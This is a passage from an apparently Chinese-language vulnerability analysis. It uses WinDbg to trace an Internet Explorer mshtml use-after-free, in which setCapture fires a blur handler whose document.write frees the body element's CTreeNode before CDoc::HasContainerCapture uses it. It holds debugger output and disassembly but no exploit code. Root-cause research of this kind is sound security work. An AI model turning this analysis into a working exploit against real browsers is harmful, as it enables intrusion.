cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
jscript!cos:
67e6d657 ff259010e467 jmp dword ptr [jscript!_imp__cos (67e41090)] ds:0023:67e41090={msvcrt!cos (762f8ace)}
所以我们可以猜测,在执行id_1.setCapture()
的时候,其实中间会先去触发对象id_0
失去焦点的函数,这个时候,会执行document.write("")
所以重启一下调试,我们在运行到mshtml!CDoc::ReleaseDetachedCaptures
的时候,输出<body>
的CTreeNode
节点指针
0:005> r eax
eax=07144fb0
0:005> ln poi(poi(07144fb0))
Browse module
Set bu breakpoint
(63450c30) mshtml!CBodyElement::`vftable' | (63388740) mshtml!CStackDataAry<unsigned char,128>::`vftable'
Exact matches:
mshtml!CBodyElement::`vftable' = <no type information>
运行到Math.cos
指针,此时触发了对象id_0
的失去焦点函数
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=0436b7c0 ecx=00000005 edx=00000003 esi=0436b7b0 edi=0436b7b0
eip=687dd657 esp=0436b6b4 ebp=0436b6f0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
jscript!cos:
687dd657 ff2590107b68 jmp dword ptr [jscript!_imp__cos (687b1090)] ds:0023:687b1090={msvcrt!cos (762f8ace)}
我们执行到第二个Math.cos
断点,也就是执行完document.write("")
,此时我们的<body>
元素的CTreeNode
节点指针已经不可访问了
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=0436b7c0 ecx=00000005 edx=00000003 esi=0436b7b0 edi=0436b7b0
eip=687dd657 esp=0436b6b4 ebp=0436b6f0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
jscript!cos:
687dd657 ff2590107b68 jmp dword ptr [jscript!_imp__cos (687b1090)] ds:0023:687b1090={msvcrt!cos (762f8ace)}
0:005> ln poi(poi(07144fb0))
Memory access error at '))'
查看指定的对象堆情况,显示已释放
0:005> !heap -p -a 07144fb0
address 07144fb0 found in
_DPH_HEAP_ROOT @ 51000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
6ca0f70: 7144000 2000
再次结合崩溃函数调用栈,崩溃在mshtml!CDoc::HasContainerCapture+0x14
,所以我们需要给这个函数下断点,运行后断下
0:005> bu mshtml!CDoc::HasContainerCapture
0:005> bu mshtml!CDoc::HasContainerCapture+0x14
0:005> g
Breakpoint 6 hit
eax=00000000 ebx=07144fb0 ecx=0551d680 edx=0436c188 esi=0436c450 edi=07144fb0
eip=63502b35 esp=0436c3ac ebp=0436c42c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CDoc::HasContainerCapture:
63502b35 8bff mov edi,edi
我们查看到,最终崩溃的语句的edi
寄存器,由上层函数进行赋值,看起来我们需要回到上层函数查看哪里对edi
进行赋值
mshtml!CDoc::HasContainerCapture:
63502b35 8bff mov edi,edi
63502b37 55 push ebp
63502b38 8bec mov ebp,esp
63502b3a 51 push ecx
63502b3b 56 push esi
63502b3c e822000000 call mshtml!CDoc::GetLastCapture (63502b63)
63502b41 8bf0 mov esi,eax
63502b43 33c0 xor eax,eax
63502b45 3bf8 cmp edi,eax
63502b47 7410 je mshtml!CDoc::HasContainerCapture+0x1b (63502b59)
63502b49 8b0f mov ecx,dword ptr [edi]
其实从一开始的分析以及上面的寄存器数据就可以看出来,我们看到这里的edi
指向的数据其实是<body>
的CTreeNode
节点指针就可以看出来,上层函数获取了<body>
的CTreeNode
节点指针,然后将它的地址赋值给edi
那么整个分析到这里就清晰了:因为id_1.setCapture()
半途中触发了对象id_0
的失去焦点函数,导致了<body>
的CTreeNode
节点指针被释放,而后续执行没有对其进行判断,直接使用,导致了UAF